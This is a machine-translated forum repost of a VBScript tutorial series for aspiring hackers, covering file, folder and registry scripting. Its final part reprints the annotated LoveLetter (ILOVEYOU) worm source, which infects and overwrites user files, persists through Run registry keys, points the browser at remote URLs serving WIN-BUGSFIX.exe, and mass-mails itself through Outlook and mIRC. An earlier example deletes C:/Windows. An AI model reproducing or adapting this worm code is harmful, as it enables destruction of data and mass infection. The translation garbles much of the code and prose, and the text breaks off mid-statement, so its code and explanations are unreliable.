VBS

xiaoxiao2021-03-06  43

Scripting programming (1)

By SSSA2000

7/4/2004

Many friends on the forum ask questions about scripts, just recently more interested in scripts, just write something. First explain, all of my code is VBScript, Jscript I have not studied, but I think it is almost.

About the most basic grammar, such as variables, branches, cycles, functions calls, etc. These I will not talk, don't know how to look at them.

1, our first VBS program: or the old winter winter that is old.

********************************************************** ***

Dim Hello

Hello = "Hello World!"

WScript.echo Hello

WScript echo "this is my first VBS"

It can be seen that there are two kinds of usage of WScript.echo, which is not difficult.

You can double-click to run directly, you can enter: the command line of the current directory:

CScript Hello.vbs

2, call other programs in the script:

Using the run () method, you must build an instance of the shell before use.

******************* surround.vbs *********************************** ****************

SET WS = WScript.createObject ("wscript.shell")

Ret = ws.run ("NOTEPAD", 3, TRUE)

if Ret = 0 THEN

WScript.echo "succeed!"

Else

Wscript.echo "There is a error, The error Number is:"

WScript.echo CSTR (RET)

END IF

*********************************************************** *******************************

Here Run has three parameters, the first parameter is the path to the program you want to execute

The second program is the form of the window, 0 is running in the background;

1 means normal operation

2 demonstrate the activation program and display it to minimize

3 demonstrate the activation program and display it to maximize

I have 10 such parameters I only list 4 most commonly used.

The third parameter is that this script is waiting or continues, if set to true, the script will wait for the program to exit after being exit.

Notice that there is no, I have a variable that accepts the return value in front of Run. Generally speaking, if it returns to 0, it means successfully executed, if not 0, then this return value is the error code, can find the corresponding corresponding to this code mistake.

3, Inputbox and MSGBox

People who will vb should be familiar with two things, and there is no difference in usage.

Input = INPUTBOX ("please enter you password", "passwd")

IF Input <> "1234"

THEN

MSGBOX "you enter a wrong passwd"

END IF

Of course, you can also add a button to the MSGBOX, accept the user's choice with a variable

For example: RET = MSGBOX "Continue?", Vbyesnocancel

Return value and constant controls are as follows:

VBOK 1

Vbcancel 2

Vbabort 3

Vbretry 4

VBIGNORE 5

Vbyes 6

VBNO 7

4, error handling

What VB is used in Error ResMe next

This is nothing to say, if you encounter an error, skip continuing to do the next sentence. Ok, this method is very mentally, you need to have a method, VBScript provides an object ERR object.

He has two methods clear, raise

5 properties: Description, HelpContext, HelpFile, Number, Source

We can use Err.Number to get the wrong number, for example

************* ************************************ *****

ON Error ResMe next

A = 11

B = 0

C = a / b

IF Err.Number <> 0 THEN

Wscript.echo err.Number & Err.Description & Err.Source

END IF

We can use Err.raisel to handle errors

For example, we have to generate a Path Not Found error tells the user that the path he filled in is not

ON Error ResMe next

Err.raise 76

MsgBox "error:" & Err.Description

Err.clear

All the above are the foundation, I will write here today, so tired, huh, huh, if you have any reprints. Tell you the document system tomorrow. VBScript scripting programming tutorial 2

By SSSA2000

7/7/2004

Let's take a look at how to use FSO to perform file operation. The core of file operation is performed in the VBS during FSO. As a hacker, no matter what language learned, the operation of the document should be as good as it is, so please study carefully.

Don't talk nonsense, first look at the FSO, which object consists of:

Drive Object: Contains information for storage devices, including hard disk, optical drive, RAM disk, network drive

DRIVES collection: Provide a list of physical and logical drives

File object: check and process file

Files Collection: Provides a list of files in a folder

Folder object: Check and process folders

Folders Collection: Provide a list of bonfolders in folder

TextStream Object: Read and write text files

Take a look at the fso method: Due to a lot, I will not write every role, if you don't understand, check it yourself for MSDN. Don't say no

BULIDPATH: Add file path information to an existing file path

CopyFile

CopyFolder

CreateFolder

CreateTextFile

Deletefile

Deletefolder

Dreveexits

FileExits

Folderexists

GetabsolutePathname: Returns an absolute path for a folder or file

GetBaseName: Returns the basic path of a file or folder

GETDRIVE: Return to a DREVE object

GetDriveName: Returns the name of a drive

getExtensionName: Return to the extension

getFile: Return to a File object

GetFileName: Returns the file name in the folder

GetFolder

getParentFoldername: Returns a folder of a folder

GetSpecialFolder: Returns the object pointer to a special folder

GetTempName: Returns a name of a randomized file or folder that can be used by CreateTextFile

Movefile

Movefolder

OpenTextFile

Ok, I see this here, I think everyone understands more than half. I may not have to say more. The script is so simple, huh, huh, or continue. 1, use FSO

Since Fso is not part of WSH, we need to build his model

For example set fs = wscript.createObject ("scripting.filesystemObject")

This creates an FSO model. It is also very simple if you want to release, set fs = nothing

2, use folders

create:

We need to check if there is existence before creating, look at the program

********************************************************************************************************************************************************TION **********

DIM FS, S

Set fs = wscript.createObject ("scripting.filesystemobject")

IF (fs.folderexists)).

S = "is available"

Else

s = "not exist"

SET foldr = fs.createfolder ("c: / temp")

END IF

Delete, copy, move

delete:

Set fs = wscript.createObject ("scripting.filesystemobject")

fs.Deletefolder ("C: / Windows")

copy:

Set fs = wscript.createObject ("scripting.filesystemobject")

fs.copyfolder "C: / Data" "D: / data"

Note, if this time C: / Data and D: / Data exists, it will be wrong, replication will stop, if you want to force overwrites, use fs.copyfolder "C: / Data" "D: / data", True

mobile

Set fs = wscript.createObject ("scripting.filesystemobject")

Fs.MoveFolder "C: / Data" "D: / data"

About wildcard:

We can use a homer to facilitate operation:

For example, fs.movefolder: c: / data / te * "," D: / Working "

Notice that there is no, I haven't used it in the destination path "/" that is, I don't know this:

Fs.MoveFolder: C: / Data / TE * "," D: / Working / "

If you write this, if the D: / Working directory does not exist, Windows will not automatically create this directory for us.

Another point, everyone notes that there is no Folder object that is not mentioned above, we all use the FSO to provide the way, of course, using the Folder:

Set fs = wscript.createObject ("scripting.filesystemobject")

Set f = fs.getfolder ("C: / Data")

f.delete 'delete. If there is a subdirectory, it will be deleted

F.copy "D: / Working", True 'Copy to D: / Working

f.Move: "D: / Temp" "Move to D: / Temp

Special folder

Generally, the system folder: / windows / system32, temporary folder, Windows folder

Look Now, we use the environment variable to get a Windows directory. We will say in the back of the environment variable. If I forget, please remind me to set fs = wscript.createObject ("scripting.filesystemObject")

SET WSHSHELL = WScript.createObject ("wscript.shell")

OSDir = WSHSHELL.EXPANDENVIRONMENTSTRINGS ("% systemroot%")

Set f = fs.getFolder (OSDir)

Wscript.echo f

Of course, there is a simple method that is to use getSpecialFolder ()

This method uses three values:

0 indicates the Windows folder, the relevant constant is WindowsFolder

1 System folder, related constants is SystemFolder

2 Temporary catalog, related constant TempoRoyalfolder

Look at the example below:

******************************************************************************************************************************* ************

Set fs = wscript.createObject ("scripting.filesystemobject")

Set wfolder = fs.getspecialfolder (0) 'Returns Windows Directory

Set wfolder = fs.getspecialfolder (1) 'Returns SYSTEM32 /

Set wfolder = fs.getspecialfolder (2) 'Returns a temporary directory

3, use the file

Use the file properties:

I didn't say the attribute of the folder, everyone can raise an array from the file properties.

The file attribute is common:

Normal 0

READONLY 1

Hideen 2

System 4

Set fs = wscript.createObject ("scripting.filesystemobject")

Set f = fs.gerfile ("d: /index.txt")

F.attributes = f.attributes 1

Here, since the file properties of D: /index.txt are not known, unpredictable results will occur. If the properties of the file are 0, then it will become 1. So it is best to inquire before changing attributes

create

You need to check if the file is existing, the method is the same before you create, the method is the same as the folder.

************************************************** *****************

Set fs = wscript.createObject ("scripting.filesystemobject")

IF fs.fileexists ("c: /asd.txt") THEN

s = "available"

Else

s = not exist

Set f = fs.createtextfile ("c: /asd.txt")

END IF

Of course, we can also use Set f = fs.createtextfile ("c: /asd.txt", true)

To enforce the existing files.

Copy mobile delete file

As with the folder, we can use the FSO to provide both FILE objects.

Set fs = wscript.createObject ("scripting.filesystemobject")

fs.copyFile "C: /ASD.txt", "D: /1/ASD.txt", True 'copy file, if there is already forced overlay

fs.movefile "C: /asd.txt", "D: /" "Mobile

fs.deletefile "C: /asd.txt" deleted, the next chapter we have to learn the read and write, the reading and writing of the file is the file system, especially in the hacker programming, today I might There are a lot of mistakes, when you look at it, don't know how to look at MSDN, and improve the level only, others can't help you.

VBScript scripting programming 3 About file reading and writing

By SSSA2000

7/9/2004

Use VBScript to read and write files, very convenient, nonsense, to remove the topic.

1, open the file

Use the OpenTextFile method

Set fs = creteObject ("scripting.filesystemobject")

Set ts = fs.opentextfile ("c: /1.txt", 1, true)

Note that the full path to the file is required, and a parameter behind is an access mode.

1 is forreading

2 is forwriting

8 is appending

The third parameter specifies whether it is created if the specified file does not exist.

2, read the file

There are three ways to read the file.

Read (x) Read X characters

Readline reads a line

Readall all read

E.g:

Set fs = creteObject ("scripting.filesystemobject")

Set ts = fs.opentextfile ("c: /1.txt", 1, true)

Value = TS.READ (20)

Line = ts.readline

Contents = TS.Readall

Here you still have to introduce several pointer variables:

The ATENDOFSTREAM property of the TextStream object. This attribute returns true when it is in the end of the file. We can use loop detection without reaching the end of the file. E.g:

Set fs = creteObject ("scripting.filesystemobject")

Set f = fs.getfile ("c: /1.txt", 1, false)

Set ts = f.OpenastextStream (1,0)

Do While Ts.atendofstream <> true

F.Read (1)

loop

There is also an attribute, ATENDOFLINE, if you have reached the end of the row, this property returns True.

The TextStream object also has two useful properties, column, and line.

After opening a file, the row and column pointers are set to 1.

Look at an integrated example:

***************************** READ.VBS ***************** *************

Set fs = creteObject ("scripting.filesystemobject")

Set f = fs.opentextfile ("c: /1.txt", 1, true)

Do While F. Dendofstream <> TRUE

Data = ""

For a = 1 TO 5

IF f.atendofstream <> true kil

Data = DATA F.Readline

END IF

NEXT

DataSet = DataSet 1

WScript.echo "Data Set" & Dataset & ": & data

loop

Finally, let's jump in the file.

Skip (x) Skip X characters

Skipline skipping a line

The usage is also very simple and the front, just don't say it.

3, write files

You can write with Forwriting and FORAPPENDING way

Write 3 methods: Write (x)

WriteLine

Writeblanklines (n) is written in NS

Let's take an example:

*********************************************************** ****************

Data = "Hello, I like script programing"

Set fs = creteObject ("scripting.filesystemobject")

IF (fs.fileexists)).

Set f = fs.opentextfile ("c: /2.txt", 8)

F.Write Data

F.Writeline Data

f.close

Else

Set f = fs.opentextfile ("c: /2.txt", 2, true)

F.WriteBlanklines 2

F.Write Data

f.close

END IF

Note Be sure to turn off after writing the file! ! ! ! ! ! ! Also, if you want to read the file and write a file, you must also remember to turn off after reading it, so that you can open it in a written manner.

It's better to finish the documents, and it is possible to involve the operation of the string.

Inside 1 chapter, I intend to write a little driver and registry, the script programming is also very rich, I only talk about hackers. Today, I'm so tired, and I will not be able to fill in the forum. I will delete it every day. This is not good, the forum is everyone, I write some original things every day to make our forum and other forums Some different, I have a limited strength, but also rely on everyone's power, I plan to find a few people in the face of a few people, so that our forum is a bit represented.

Very late, rest.

######################################################################################################################################################################################################################################################################################################## ######################################################################################################################################################################################################################################################################################################## ##########################################

Registry, modifying the registry is a basic skill of programming, and scripting is of course no exception.

Here, I will no longer explain the basic structure of the registry.

1. Read the keywords and values ​​of the registry:

The regread method of the WSHSHELL object can be passed by putting the full path of the keyword

E.g:

SET WS = WScript.createObject ("wscript.shell")

v = ws.regread ("HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / Currentversion / Run / NWIZ")

WScript.echo V

2, write registry

There is a written, using the regWrite method using WSHSHELL object

View example:

Path = "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run /"

SET WS = WScript.createObject ("wscript.shell")

T = ws.regwrite (Path & "JJ", "Hello")

This will

HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run / JJ This key value is changed to Hello. But pay attention: This key value must presented in advance. If you want to create a new keyword, it also uses this method.

Path = "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / Currentversion / Run / SSSA2000 / Love /"

SET WS = WScript.createObject ("wscript.shell")

Val = ws.regwrite (path, "nenboy")

Val = ws.regread (PATH)

WScript.echo Val

Delete keywords and values

Use the regdelete method to pass the complete path to Regdelete.

E.g

Val = ws.regdel (PATH)

Note that if you want to delete the value of the keyword, be sure to add "/" in the path, if you do not add a slant line, you will delete the entire keyword.

Ok, the most basic script programming is finished. In fact, the script is also very simple. You look at this source code of the LOVELETTER virus that has been famous. In addition to the email, I didn't speak, others are clear. ?

REM BAROK -LOVELETTER (VBE) Rem by: spyder / ispyder@mail.com / @grammersoft group / manila, philip pines' Note: Program author's signature (possibly)

On Error Resume Next dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq = "" ctr = 0 Set fso = CreateObject ( "Scripting.FileSystemObject") 'Note: FileSystemObject system is M $ VBVM The most dangerous part, its function is very powerful

'Use FSO from viruses to know that by modifying the registry, it can easily prevent the LETTER episode.

Set file = fso.opentextfile (wscript.scriptfullname, 1) 'Returns the full path of the current script vbscopy = file.readAll Main ()' Note - Program initialization is completed.

sub main () On Error Resume Next dim wscr, rr set wscr = CreateObject ( "WScript.Shell") rr = wscr.RegRead ( "HKEY_CURRENT_USER / Software / Microsoft / Windows Scriptin g Host / Settings / Timeout") if (rr> = 1) THEN WSCR.REGWRITE "HKEY_CURRENT_USER / SOFTWARE / Microsoft / Windows Scripting Host / Settings / Timeout", 0, "REG_DWORD" 'Note - Prevents the termination caused by the operation timeout. 'It should be said that programmers who write viruses take into account possible problems, this is worth all of the programming. Endiffialfolder (0) Set Dirsystem = fso.getspecialfolder (1) Set dirtemp = fso.getspecialFolder (2) 'Get the name of the system key folder "VB can be used when programming. Set c = fso.getfile (wscript.scriptfullname) 'Returns the full path of the current script C.copy (Dirsystem & "/ mskernel32.vbs")' Copies a specified file or folder from one location to another. C.copy (Dirwin & "/ Win32DLL.VBS ") C.copy (Dirsystem &" / Love-letter-for-you.txt.vbs ") 'Copy itself to the key directory. 'The file name is not very good. It's easy to find it.

Regruns () html () spreadtoemail () ListAdriv () End Sub

Sub regruns () 'Modify the registry to automatically load the virus program' prevention: often check this branch in the registry. 'Known methods also put HTA in a Startup folder. The method used by the virus program is more advanced, 'Because it does not fail because of language problems.

On Error Resume Next Dim num, downread regcreate "HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio n / Run / MSKernel32", dirsystem & "/ MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio n / RunServices / Win32DLL" , dirwin & "/ Win32DLL.vbs" downread = "" downread = regget ( "HKEY_CURRENT_USER / Software / Microsoft / Internet Explore r / Download Directory") if (downread = "") then downread = "c: /" end if if ( FileExist (Dirsystem & "/ Winfat32.exe") = 1) Ten Randomize Num = INT ((4 * RND) 1) if Num = 1 Then Regreate "HKCU / Software / Microsoft / Internet Explorer / Main / Start Page", " http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT / WIN-BUGSFIX.exe "elseif num = 2 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Start Page "," http: // www .skyinet.net / ~ angelcat / skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w / WIN-BUGSFIX.exe "elseif num = 3 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Sta rt Page "," http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg / WIN-BUGSFIX.exe "elseif num = 4 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Start Page "," http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg / WIN-B UGSFIX.exe "end if end if if (fileexist (downread &" / WIN-BUGSFIX.exe ") = 0) then regcreate" HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio N / Run / Win-Bugsfix ", DownRead &"

/WIN-BUGSFIX.exe "regcreate" HKEY_CURRENT_USER / Software / Microsoft / Internet Explorer / Main / Start Page "," about: blank "end if end subsub folderlist (folderspec) 'Traverse Folder On Error Resume Next dim f, f1, sf set f = fso.getfolder (folderspec) set sf = f.subfolders 'Get all subfolders of a particular folder, including system hidden folder for Each F1 in sf' F1 object infectfiles for each subfolder INFECTFILES (f1.path) 'Operation Folderlist (f1.path) in Infectious files Folder Download NEXT END SUB

Sub ListAdriv 'traverses all drives. On Error Resume Next DIM D, DC, S set DC = fso.drives for Each D in DC if D.driveType = 2 or D.DriveType = 3 THEN '2.3 is hard disk and network sharing disk FolderList (D.Path & "/ ") End if next listadriv = s end sub

Function FileExist (filespec) 'Judging whether the file has' purely from the technical perspective, this program is not working. 'Don't write so long, you can implement the same function on Error Resume next Dim Msg if (fso.fileexists (filespec)) THEN MSG = 0 else msg = 1 end if fileexist = msg End Function

Function FolderExist (folderspec) 'Decision is as stinking with the folder' and the previous program. On Error ResMe Next Dim Msg IF (Fso.GetFoldRexists (FSO.GETFOLDEREXISTS (Folderspec)) THEN MSG = 0 else msg = 1 end if fileexist = msg end function

Sub infectfiles (folderspec) 'Performs the operation of the infectious file.

On Error ResMe Next Dimf, F1, FC, EXT, AP, MIRCFNAME, S, BNAME, MP3 set f = fso.getfolder (folderspec) set fc = f.files' Get all files of a particular folder, including the system Hidden File for Each F1 in FC EXT = fso.GETEXTENSITIONNAME (F1.Path) 'Get Extensions EXT = LCase (EXT)' Transition to lowercase S = LCase (f1.name) IF (ext = "vbs") or (ext = "VBE") THEN SET AP = fso.opentextFile (f1.path, 2, true) ap.write vbscopy 'vbscopy = file.readall ap.close elseif (ext = "js") or (ext = "jse") OR (ext = "css") or (ext = "wsh") or (ext = "hta") The set ap = fso.opentextfile (f1.path, 2, true) AP. Write vbscopy ap.close bName = fso.getBaseName (f1.path) set copick = fso.getfile (f1.path) Cop.copy (folderspec & "/" & bname & ". vbs") fso.deletefile (f1.path) Elseif Ext = "jpg") or (ext = "jpeg") THEN SET AP = fso.opentextFile (f1.path, 2, true) ap.write vbscopy ap.close set cop = fso.getfile (f1.path) COP. COPY (F1.Path & "VBS") fso.deletefile (f1.path) Elseif (ext = "mp3") or (ext = "mp2") THEN SET MP3 = fso.createtextFile (f1.path & ". vbs") Mp3.write vbscopy mp3.close set at T = fso.getfile (f1.path) att.attributes = att.attributes 2 end if if (eq <> folderspec) THEN IF (S = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or (s = "scri pt.ini") or (s = "mirc.hlp") THEN SET scriptini = fso.createtetextfile (Folderspec & "/ script.ini") scriptini.writeline [script] "scriptini.writeline"; mirc script "scriptini.writeline";

Please dont edit this script ... mirc will Corru PT, IF mirc will "scriptini.writeline" Corrupt ... Windows Will Affect and Will Not Run Correctly. Thanks "'The English in the virus Author did not learn well ... but so frightened People are also suffering. 'Here, you will remind you to pay attention, don't care about the scary text, you will find a lot of vulnerabilities. Scriptini.writeline ";" scriptini.writeline "; khaled mardam-bey" scriptini.writeline " http://www.mirl.com "scriptini.writeline"; "scriptini.writeline" n0 = on 1: join: #: {"scriptini.writeLine" n1 = / if ($ nick == $ me) {halt } "scriptini.writeline" n2 = /.dcc send $ nick "& Dirsystem &" / Love-letter-fo r-you.htm "scriptini.writeLine" N3 =} "pay attention, the result of this is that MIRC can also be infected Virus. Scriptini.close EQ = folderspec end if end if next end subsub regreate (regable, regvalue) 'Modifying the registry (creating key)' This program seems to be a Microsoft's demonstration program. SET regedit = CreateObject ("wscript.shell" ) regedit.regwrite regkey, Regvalue End Sub

Function Regget (Value) 'This program seems to be a Microsoft's demonstration program. (WSH Demonstration, in Windows Folder) SET regedit = CreateObject ("wscript.shell") regget = regedit.regread (value) end function

sub spreadtoemail () 'diffusion Email On Error Resume Next dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad set regedit = CreateObject ( "WScript.Shell") set out = WScript.CreateObject ( " Outlook.Application ") 'Virus Limitations: Only Outlook, and Outlook Express does not support. set mapi = out.GetNameSpace ( "MAPI") for ctrlists = 1 to mapi.AddressLists.Count set a = mapi.AddressLists (ctrlists) x = 1 regv = regedit.RegRead ( "HKEY_CURRENT_USER / Software / Microsoft / WAB /" & a ) IF (regv = ") THEN REGV = 1 end if if (int (a.addressentries.count)> int (regv)) THEN for ctrentries = 1 to a.addressentries.count MaleAd = a.addressentries (x) Regad = "" Regad = regedit.regread ("HKEY_CURRENT_USER / SOFTWARE / Microsoft / WAB /" & MALE AD) IF (regad = ") THEN SET MALE = out.createItem (0) Male.Recipients.Add (MaleAd) Male.Subject = "IloveYou" The reason for the name of the virus' "see such a message is definitely a virus. The normal person of the mind is probably not straightforward. male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from m e." male.Attachments.Add (dirsystem & "/ LOVELETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER / Software / Microsoft / WAB / "& malead, 1," REG_DWORD "end if x = x 1 next regedit.RegWrite" HKEY_CURRENT_USER / Software / Microsoft / WAB / "& a, a.Addre ssEntries.Count else regedit.RegWrite" HKEY_CURRENT_USER / Software / Microsoft / WAB / "& A, A.Addre Ssentries.count End End Set Out = Nothing SET MAPI = Nothing End Sub Sub HTML 'From the technical point of view, this program is very beautiful, the reason is to fully utilize Outlook Resource 'deserves the reference of the program. 'The _ symbol in the middle of the program is the cable, so the comment is written here. 'There are many invalid statements in the program, and there are a lot of space.

On Error ResMe next Dim line, N, DTA1, DTA2, DT1, DT2, DT3, DT4, L1, DT5, DT6 DTA1 = " loveletter - HTML <? -? Title> <meta name = @ - @gene @ - @ content = @ - @ Barok VBS - Loveletter @ - @> "& vbcrf & _" <meta name = @ - @ Author @ - @ Content = @ - @ Spyder? -? Ispyder @ Mail. COM? -? @G Rammersoft Group? -? manila, philippines? -? march 2000 @ - @> "& vbcrlf & _</p> <p>"<Meta name = @ - @ Description @ - @ Content = @ - @ Simple But I think this is Go @ @ - @>" & vbcrf & _ "<? -? Head> <body onmouseout = @ - @ WINDOW .name = # - # main # - #; window.open (# l ve-letter-for-you.htm # - #, # - # main # - #) @ - @ "& vbcrlf & _" onkeydown = @ -@window.name = # - # main # - #; window.open (# love-letter-for-yo u.htm # - #, # - # main # - #) @ - @ BGProperties = @ - @fixed @ - @ # ff9933 @ - @> "& vbcrlf & _" <center> <p> this html file nesed ActiveX Control <? -? p> <p> to enable to r EAD this HTML FILE < Br> - please press # - # Yes # - # Button to enable Active x <? -? P> "& vbcrf & _" <? -? Center> <marquee loop = @ - @ infinite @ - @ bgcolor = @ - @ Yellow @ - @> -------- --z ------------------------------ <? -? Marquee> "& VBCRLF & _" <? -? Body> <? -? HTML> "& VBCRLF & _" <script language = @ - @ Jscript @ - @> "& vbcrlf & _" <! -? - ?? -? "& Vbcrf & _ "if (window.screen) {var wi = screen.availwidth; var hi = screen.availheight; window.moveto (0); Window.resizEther (Wi, Hi);}" & vbcrlf & _ "? - ??? -? -> "& vbcrf & _" <? -? script> "& vbcrlf & _" <script language = @ - @ vbscript @ - @> "& vbcrf & _" <! - "& vbcrlf & _" on Er Ror Resume Next "& VBCRLF & _" DIM FSO, DIRSYSTEM, WRI, CODE, CODE2, CODE3, CODE4, AW, Regdit "& VBCRLF & _" AW = 1 "& VBCRLF & _" Code = "DTA2 =" SET FSO =</p> <p>CreateObject (@ - @ Scripting.FileSystemObject @ - @) "& vbcrlf & _" set dirsystem = fso.GetSpecialFolder (1) "& vbcrlf & _" code2 = replace (code, chr (91) & chr (45) & chr (91), chr ( 39) "& VBCRLF & _" CODE3 = Replace (CODE2, CHR (93) & CHR (45) & Chr (93), CHR (34)) "& VBCRLF & _" Code4 = Replace (CODE3, CHR (37) & Chr (45) & chr (37), CHR (92)) "& VBCRLF & _" SET WRI = fso.createtextfile (Dirsystem & @ - @ ^ - ^ MSkernel32.vbs @ - @) "& vbcrlf & _" Wri.Write Code4 "& VBCRLF & _" Wri.Close "& VBCRLF & _" IF (fso.fileexists (Dirsystem & @ - @ ^ - ^ mskernel32.vbs @ - @)) THEN "& VBCRLF & _" IF (Err.Number = 424) THEN "& VBCRLF & _" AW = 0 "& VBCRLF & _" END IF "& VBCRLF & _" IF (AW = 1) THEN "& VBCRLF & _" Document.write @ - RROR: Can # - # T Initialize ActiveX @ - @ "& vbcrlf & _" Window.Close "& VBCRLF & _" END IF "& VBCRLF & _ _ "end if" & vbcrlf & _ "Set regedit = CreateObject (@ - @ WScript.Shell @ - @)" & vbcrlf & _ "regedit.RegWrite @ - @ HKEY_LOCAL_MACHINE ^ - ^ Microsoft ^ - - ^ Software ^ ^ Windo ws ^ - ^ CurrentVersion ^ - ^ Run ^ - ^ mskernel32 @ - @, dirsystem & @ - @ ^ - ^ MSkernel32.v BS @ - @ "& vbcrlf & _"? - ?? -? -> "& vbcrlf & _" <? -? Script> "DT1 = Replace (DTA1 CHR (35) & chr (45) & chr (35), "') DT1 = Replace (DT1, CHR (64) & chr (45) & chr (64)," "" ") DT4 = Replace (DT1, CHR ( 63) & chr (45) & chr (63), "/") DT5 = Replace (DT4, CHR (94) &</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-55736.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="55736" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.093</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'l2LKe0LQpguDy1DympM47nPKT9bFQgINW39eO3k4zdzTAe_2FcuGXMm9AJBKDtNAXnFDVS_2FcFVYMq3eQdTfGNisg_3D_3D'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>